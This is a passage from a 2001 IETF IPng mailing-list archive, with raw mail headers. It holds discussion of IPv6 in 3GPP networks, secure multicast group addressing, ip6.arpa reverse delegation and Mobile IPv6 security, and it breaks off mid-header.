-0800 (PST) From: john.loughney@nokia.com Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA19424 for ; Wed, 5 Dec 2001 02:21:05 -0700 (MST) Received: from esvir01nok.ntc.nokia.com (esvir01nokt.ntc.nokia.com [172.21.143.33]) by mgw-x1.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fB59ITc24836 for ; Wed, 5 Dec 2001 11:18:29 +0200 (EET) Received: from esebh24nok.ntc.nokia.com (unverified) by esvir01nok.ntc.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Wed, 5 Dec 2001 11:20:34 +0200 Received: by esebh24nok with Internet Mail Service (5.5.2652.78) id ; Wed, 5 Dec 2001 11:20:33 +0200 Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEF5D927A@esebe004.NOE.Nokia.com> To: Francis.Dupont@enst-bretagne.fr Cc: mrw@windriver.com, ipng@sunroof.eng.sun.com Subject: RE: Quick comments on draft-wasserman-3gpp-advice-00.txt Date: Wed, 5 Dec 2001 11:20:29 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.78) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Francis, Thanks for the summary. I think if what you wrote was added to the next version of the draft, it would be very good. thanks, John > -----Original Message----- > From: ext Francis Dupont [mailto:Francis.Dupont@enst-bretagne.fr] > Sent: 04 December, 2001 16:46 > To: Loughney John (NRC/Helsinki) > Cc: mrw@windriver.com; ipng@sunroof.eng.sun.com > Subject: Re: Quick comments on draft-wasserman-3gpp-advice-00.txt > > > In your previous mail you wrote: > > It seems that there are 3 main recommendations made in the > document: > > 1. Specify that multiple prefixes may be assigned to each > primary PDP context, > > => IMHO this is more a problem of primary/secondary vs. > single IPv6 link. > But as there is no primary prefix and secondary PDP contexts > are for QoS > I agree with this recommendations. > > 2. Require that a given prefix must not be > assigned to more > than one primary PDP context, and > > => if this is not done IP routing at the GGSN is simply impossible > (GGSN must be an IP router so there is no real choice). > > 3. Allow 3GPP nodes to use multiple identifiers > within those > prefixes, including randomly generated identifiers. > > => support of randomly generated identifiers shall become mandatory > for address allocation schemes. > > Regards > > Francis.Dupont@enst-bretagne.fr > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 5 03:22:36 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5BMZHt008994 for ; Wed, 5 Dec 2001 03:22:36 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB5BMZxQ008993 for ipng-dist; Wed, 5 Dec 2001 03:22:35 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5BMWHt008986 for ; Wed, 5 Dec 2001 03:22:32 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA04045 for ; Wed, 5 Dec 2001 03:22:31 -0800 (PST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA16536 for ; Wed, 5 Dec 2001 04:22:12 -0700 (MST) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fB5BMTu10346 for ; Wed, 5 Dec 2001 12:22:29 +0100 (MET) Received: FROM esealnt400.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Wed Dec 05 12:22:28 2001 +0100 Received: by esealnt400 with Internet Mail Service (5.5.2653.19) id ; Wed, 5 Dec 2001 12:22:15 +0100 Message-ID: <795A014AF92DD21182AF0008C7A404320DFBEE07@esealnt117> From: "Karim El-Malki (ERA)" To: "'john.loughney@nokia.com'" , Francis.Dupont@enst-bretagne.fr Cc: mrw@windriver.com, ipng@sunroof.eng.sun.com Subject: RE: Quick comments on draft-wasserman-3gpp-advice-00.txt Date: Wed, 5 Dec 2001 12:22:09 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi John and Francis, What are you saying should be added? The comments from Francis below seem to be confirming what's already in the draft. Rgds, /Karim > -----Original Message----- > From: john.loughney@nokia.com [mailto:john.loughney@nokia.com] > Sent: den 5 december 2001 10:20 > To: Francis.Dupont@enst-bretagne.fr > Cc: mrw@windriver.com; ipng@sunroof.eng.sun.com > Subject: RE: Quick comments on draft-wasserman-3gpp-advice-00.txt > > > Hi Francis, > > Thanks for the summary. I think if what you wrote was added to the > next version of the draft, it would be very good. > > thanks, > John > > > -----Original Message----- > > From: ext Francis Dupont [mailto:Francis.Dupont@enst-bretagne.fr] > > Sent: 04 December, 2001 16:46 > > To: Loughney John (NRC/Helsinki) > > Cc: mrw@windriver.com; ipng@sunroof.eng.sun.com > > Subject: Re: Quick comments on draft-wasserman-3gpp-advice-00.txt > > > > > > In your previous mail you wrote: > > > > It seems that there are 3 main recommendations made in the > > document: > > > > 1. Specify that multiple prefixes may be > assigned to each > > primary PDP context, > > > > => IMHO this is more a problem of primary/secondary vs. > > single IPv6 link. > > But as there is no primary prefix and secondary PDP contexts > > are for QoS > > I agree with this recommendations. > > > > 2. Require that a given prefix must not be > > assigned to more > > than one primary PDP context, and > > > > => if this is not done IP routing at the GGSN is simply impossible > > (GGSN must be an IP router so there is no real choice). > > > > 3. Allow 3GPP nodes to use multiple identifiers > > within those > > prefixes, including randomly generated identifiers. > > > > => support of randomly generated identifiers shall become mandatory > > for address allocation schemes. > > > > Regards > > > > Francis.Dupont@enst-bretagne.fr > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 5 04:35:46 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5CZkHt009135 for ; Wed, 5 Dec 2001 04:35:46 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB5CZk6U009134 for ipng-dist; Wed, 5 Dec 2001 04:35:46 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5CZgHt009127 for ; Wed, 5 Dec 2001 04:35:42 -0800 (PST) Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA08834; Wed, 5 Dec 2001 04:35:36 -0800 (PST) Received: from sun.com (dhcp-gnb03-212-201.France.Sun.COM [129.157.212.201]) by nasnfs.Eng.Sun.COM (8.10.2+Sun/8.10.2) with ESMTP id fB5CZYe28514; Wed, 5 Dec 2001 04:35:34 -0800 (PST) Message-ID: <3C0E141D.5DD3698F@sun.com> Date: Wed, 05 Dec 2001 13:33:33 +0100 From: gabriel montenegro X-Mailer: Mozilla 4.77 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Pekka Nikander CC: Claude Castelluccia , msec@securemulticast.org, ipng@sunroof.eng.sun.com, smug@cs.umass.edu Subject: Re: Comments to draft-castelluccia-sgmv6-00.txt References: <3C0275D9.484A2A4@inrialpes.fr> <3C0CE509.6000803@nomadiclab.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Nikander wrote: > [I am not a member in msec or smug, and therefore I don't > know if this point has been taken up there already. It may > even be that my message is rejected from those list due to > my non-membership status.] I'm not on either of those myself. Hopefully, somebody there will let us know soon enough if we should take this offline... > I find the idea presented in the draft very refreshing and > beautiful. The fact that multicast group IDs are 112 bits > (instead of 64 bits) makes it work even better than for > basic SUCV/CAM. On the other hand, since I am no expert > in multicast and have only a very bad understanding on how > you create new multicast groups in the first place, I cannot > comment that side. Thanks! > Anyway, in Section 5.3 you write: > > > 2. The private key, the public key, the counter and the GroupID > > are distributed to the (authorized) group members. Note that > > private key requires confidentiality because it only has to > > be known to the authorized group members. The public key, > > the counter and the GroupID can be sent in clear but require > > integrity. > > Now, I was left wondering why to send the private key itself? > If we assume that all the hosts in the multicast group have > their own public/private key pair (e.g. for basic SUCV or > in order to authenticate them for some other reason), > wouldn't it be easier just to delegate the right to join > the multicast group? That is, instead of sending the private > key, you would send an SPKI or KeyNote2 certificate stating > that the public key of the host is authorized to join the > multicast group represented by the group key? This is really a very interesting idea. I share your enthusiasm with schemes that can embed the 'acl' in the certificate, as you put it in another recent message (mip wg). The scheme above would work in a world in which all the group members had SUCV type addresses, you're right. This is quite a jump, but I think one of the very interesting problems to look into is what one could do (not just in mcast/anycast) assuming every system had a public/private key pair tied into its ID and/or address. [other benefits agreed to but elided...] > I am not so sure about the anycast case, though. My > understanding about anycast is that in anycast you want > all anycast hosts to behave equally. Therefore they > should look the same, and distributing the private key > might actually be a good idea. I guess one could impose hierarchy and declare one of the anycast members the master of the group. This might simplify certificate handling. But it would be more dynamic to allow all members to be equal. So, to add to the confusion, perhaps in anycast one wants the other members to 'vouch' for each other and to periodically renew this vote. Are there any threshold signature schemes that would allow a minimum number of members to co-sign a cert for a given member? I don't know enough about threshold cryptography, but it seems like all those schemes are pretty rigid (fixed set of signers, fixed number of signers). Hopefully, someone in these aliases can provide some guidance? -gabriel -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 5 06:40:38 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5EecHt009494 for ; Wed, 5 Dec 2001 06:40:38 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB5Eecof009493 for ipng-dist; Wed, 5 Dec 2001 06:40:38 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5EeVHt009478; Wed, 5 Dec 2001 06:40:31 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA24561; Wed, 5 Dec 2001 06:40:30 -0800 (PST) Received: from zed.isi.edu (zed.isi.edu [128.9.160.57]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA07712; Wed, 5 Dec 2001 07:40:29 -0700 (MST) Received: (from bmanning@localhost) by zed.isi.edu (8.11.6/8.11.1) id fB5Ed3r01747; Wed, 5 Dec 2001 06:39:03 -0800 (PST) (envelope-from bmanning) Date: Wed, 5 Dec 2001 06:39:03 -0800 From: Bill Manning To: Bruce Campbell Cc: "JINMEI Tatuya?(B" , ipng@sunroof.eng.sun.com, dnsop@cafax.se, ngtrans@sunroof.eng.sun.com Subject: Re: (ngtrans) Re: reverse delegation under ip6.arpa.? Message-ID: <20011205063903.B879@zed.isi.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from bruce.campbell@ripe.net on Wed, Dec 05, 2001 at 02:03:32PM +0100 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I don't know whom the appropriate people are, but as the administrator of the existing ipv6 delegations other than the RIR ones, I would have hoped to have been included in the process. This is the first I've heard of such a meeting. On Wed, Dec 05, 2001 at 02:03:32PM +0100, Bruce Campbell wrote: > On Wed, 5 Dec 2001, JINMEI Tatuya wrote: > > > > agreed. but the pain is minimal. note that, initially, the content of > > > ip6.arpa is directly that of ip6.int. in fact, one could have the same > > > zone file pointed to by both names. the big pain in the transition is > > > that of the registries, whois, etc. and they've been working on this > > > for some months. > > > > As for the registry side transition, I have another question. I saw > > delegations for 2001:0200::/24 to APNIC. What is the current status > > about 3ffe::/16? Is there a plan to delegate ip6.arpa. sub domains > > for that block? > > This is not known, and no delegation exists in ip6.arpa for the 6bone > (e.f.f.3.ip6.arpa). The focus so far in ip6.arpa delegation process has > been on the RIR delegations. I have forwarded the question to the > appropriate people who will be meeting during IETF-52, and an answer > should be available then. ( I'm actually not attending this IETF ) > > One *possible* and easy solution would be to DNAME the e.f.f.3.ip6.arpa to > e.f.f.3.ip6.int ( I'm ignoring technical issues of having to first > delegate f.f.3.ip6.arpa to a DNAME-capable set of nameservers first ). > > This has the good side of preserving current functionality when the > deployed resolver bas looks at ip6.arpa instead of ip6.int. It has the > down side of effectively limiting 6bone to using 'ip6.int' as you cannot > then DNAME back into the ip6.arpa tree. Somehow I don't think that such a > restriction is what the 6bone community wants. > > No matter what technical tricks are down further up in the tree by the > RIRs/ICANN etc, the change in the root ip6 tree *will* require *all* > currently deployed delegations to make *some* sort of change. > > Regards, > > -- > Bruce Campbell RIPE > NCC > Operations -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 5 08:41:08 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5Gf7Ht010029 for ; Wed, 5 Dec 2001 08:41:07 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB5Gf7Ni010028 for ipng-dist; Wed, 5 Dec 2001 08:41:07 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5Gf3Ht010021 for ; Wed, 5 Dec 2001 08:41:04 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA21508 for ; Wed, 5 Dec 2001 08:41:04 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA17910 for ; Wed, 5 Dec 2001 08:41:03 -0800 (PST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id IAA10697; Wed, 5 Dec 2001 08:41:03 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fB5Gf2n21917; Wed, 5 Dec 2001 08:41:02 -0800 X-mProtect: Wed, 5 Dec 2001 08:41:02 -0800 Nokia Silicon Valley Messaging Protection Received: from charliep.iprg.nokia.com (205.226.2.89, claiming to be "iprg.nokia.com") by darkstar.iprg.nokia.com(P1.5 smtpd2QmzUL; Wed, 05 Dec 2001 08:41:00 PST Message-ID: <3C0E4E1C.A433CD1A@iprg.nokia.com> Date: Wed, 05 Dec 2001 08:41:00 -0800 From: "Charles E. Perkins" Organization: Nokia Research Center X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Brian E Carpenter CC: Vijay Devarapalli , ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt References: <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> <3C0BD166.8CED30C7@iprg.nokia.com> <3C0C8EC7.79DD8FB9@hursley.ibm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hello Brian, Brian E Carpenter wrote: > > Vijay, > > Vijay Devarapalli wrote: > ... > > I think it is wrong it say the Mobile IP WG is wholeheartedly > > discussing this issue. It is more like that this issue has been > > forced upon the Mobile IP WG (like certain other security issues > > it was never meant to solve). > > I'm not quite sure what you are getting at here, but it's the > responsibility of every WG to solve all the security issues > associated with its own work; security is not a kind of > icing added afterwards to the cake. If I understand the point, it was that Mobile IP has been asked to solve security problems that, in other instances, would have been more properly solved separately. For instance, even though one might require security for address autoconfiguration, one might still allow DHCP to go to Proposed Standard without requiring the dhc working group to devise a key distribution protocol. It is my belief that for the purposes of initial deployments of Mobile IPv6, we could go forward with the protocol without finishing the key distribution protocol first, and allow the needed security associations to be created in any reasonable way (perhaps by proprietary protocols) until an open standard could be created. > And if a security problem > is discovered late, it still has to be solved, even if that > means starting again. Security isn't optional in the IETF. I don't think anyone would contend otherwise, certainly not me. Regards, Charlie P. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 5 09:52:09 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5Hq8Ht010443 for ; Wed, 5 Dec 2001 09:52:08 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB5Hq8gd010442 for ipng-dist; Wed, 5 Dec 2001 09:52:08 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5Hq4Ht010435 for ; Wed, 5 Dec 2001 09:52:04 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA02536 for ; Wed, 5 Dec 2001 09:52:05 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA26143 for ; Wed, 5 Dec 2001 10:52:04 -0700 (MST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id JAA15449; Wed, 5 Dec 2001 09:51:40 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fB5Hpdb03133; Wed, 5 Dec 2001 09:51:39 -0800 X-mProtect: Wed, 5 Dec 2001 09:51:39 -0800 Nokia Silicon Valley Messaging Protection Received: from jmalinen.iprg.nokia.com (205.226.2.98) by darkstar.iprg.nokia.com(P1.5 smtpdSlyh5W; Wed, 05 Dec 2001 09:51:38 PST Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id JAA21736; Wed, 5 Dec 2001 09:51:37 -0800 (PST) Message-ID: <3C0E5EA9.DFEA90B9@iprg.nokia.com> Date: Wed, 05 Dec 2001 09:51:37 -0800 From: "Jari T. Malinen" Organization: Nokia X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Francis Dupont CC: Brian Zill , Pekka Savola , Brian E Carpenter , "Hesham Soliman (ERA)" , ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt References: <200112050916.fB59GbD93115@givry.rennes.enst-bretagne.fr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Francis Dupont wrote: Francis, No problem at all, my inquiry was rather about the urgency of Mobile IPv6 to move into these new constructs, which there apparently is not, no critique of the actual ideas. The idea in the encap-addr-deletion draft is nice and simple, maybe it can bring uniformity to designs in the future. BR, -Jari > If these expressed concerns can be addressed by using existing > extension headers, why not use them? > > => just because it is better to deal with expressed concerns in > a general context than in a special-purpose one. I can see only > advantages to this so what are the problems with a discussion about > tunnel address compression or multiple payloads in the IPv6 WG? > IMHO mobile IPv6 has enough suffered from a ghetto syndrome... > > Regards > > Francis.Dupont@enst-bretagne.fr > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 5 10:23:34 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5INYHt010641 for ; Wed, 5 Dec 2001 10:23:34 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB5INYv1010640 for ipng-dist; Wed, 5 Dec 2001 10:23:34 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5INWHt010633 for ; Wed, 5 Dec 2001 10:23:32 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fB5INCNE007366 for ; Wed, 5 Dec 2001 10:23:12 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fB5INC2W007365 for ipng@sunroof.eng.sun.com; Wed, 5 Dec 2001 10:23:12 -0800 (PST) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB55tjHt007487 for ; Tue, 4 Dec 2001 21:55:45 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA27176 for ; Tue, 4 Dec 2001 21:55:46 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id VAA08730 for ; Tue, 4 Dec 2001 21:55:45 -0800 (PST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id VAA17277 for ; Tue, 4 Dec 2001 21:55:45 -0800 (PST) X-Delivered-For: Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fB55ti516320 for ; Tue, 4 Dec 2001 21:55:44 -0800 X-mProtect: Tue, 4 Dec 2001 21:55:44 -0800 Nokia Silicon Valley Messaging Protection Received: from jmalinen.iprg.nokia.com (205.226.2.98) by darkstar.iprg.nokia.com(P1.5 smtpdb8ykh5; Tue, 04 Dec 2001 21:55:42 PST Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id VAA20810 for ; Tue, 4 Dec 2001 21:55:42 -0800 (PST) Message-ID: <3C0DB6DE.A52D0019@iprg.nokia.com> Date: Tue, 04 Dec 2001 21:55:42 -0800 From: "Jari T. Malinen" Organization: Nokia X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt References: <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> <3C0BD166.8CED30C7@iprg.nokia.com> <3C0C8EC7.79DD8FB9@hursley.ibm.com> <3C0D170F.E3D28E94@iprg.nokia.com> <15373.6491.371188.449329@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk For people not to get wrong impression, there is nothing unsolvable in the remaining issues on the table in mobileip wg for Mobile IPv6. All issues raised have so far been analyzed in concerns drafts, and sets of solutions proposed. The question currently is more to conclude the selection process among the proposed solutions. One issue on the table is the scalability of key distribution in infrastructureless case. Changing tunneling format is an orthogonal issue to this and I have not understood what so far unsolvable would such a change achieve. Proposals by people working in security providing "weak authentication" e.g. based on return routability, have appeared and been under scrutiny. Mobileip wg has done a big job analyzing security concerns in Mobile IPv6, and like Brian has requested below, the work to solve these issues has taken place in the actual working group in question. Solutions independent of work done elsewhere, ipsec included, have emerged allowing among other things, decoupling of binding security association maintenance and message authentication code placement from the inflexibilities of ipsec, where no mobility concerns are addressed, e.g. support of IPv6 extension header protection policies in SA database access, or support for weak authentication. A lot of implementation experience already exists for most features in the current design, and much ongoing work has happened to show feasibility of the remaining issues. IMHO, the issue of a full redesign for Mobile IPv6 is moot and existence of Mobile IPv6 in the draft in the topic line is well founded. BR, -Jari Michael Thomas wrote: > > Vijay Devarapalli writes: > > Brian E Carpenter wrote: > > > I'm not quite sure what you are getting at here, but it's the > > > responsibility of every WG to solve all the security issues > > > associated with its own work; security is not a kind of > > > icing added afterwards to the cake. And if a security problem > > > is discovered late, it still has to be solved, even if that > > > means starting again. Security isn't optional in the IETF. > > > > For one, it has been asked to solve key distribution between > > two hosts in the Internet without using any infrastructure > > (dont assume PKI, AAA, etc...). Mobile IP WG has been told > > that MIPv6 will not move ahead without solving this. and > > everyone knows it is a very hard problem. > > > > There are many more, but it will sound like a rant. I will > > stop with this. My only intention was to put a statement into > > a certain perspective. > > This is akin to wanting to design a 200 story > building, but not wanting to be held accountable > for its structural integrity. Any-any tunneling is > a hard problem, and anything that wants to propose > its use needs to deal with *all* of its > complexities. The alternative is to not take on > the task if it's too hard. There is nowhere else > where this will or should be solved. > > Mike > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 5 10:24:03 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5IO3Ht010654 for ; Wed, 5 Dec 2001 10:24:03 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB5IO3qG010653 for ipng-dist; Wed, 5 Dec 2001 10:24:03 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5IO0Ht010646 for ; Wed, 5 Dec 2001 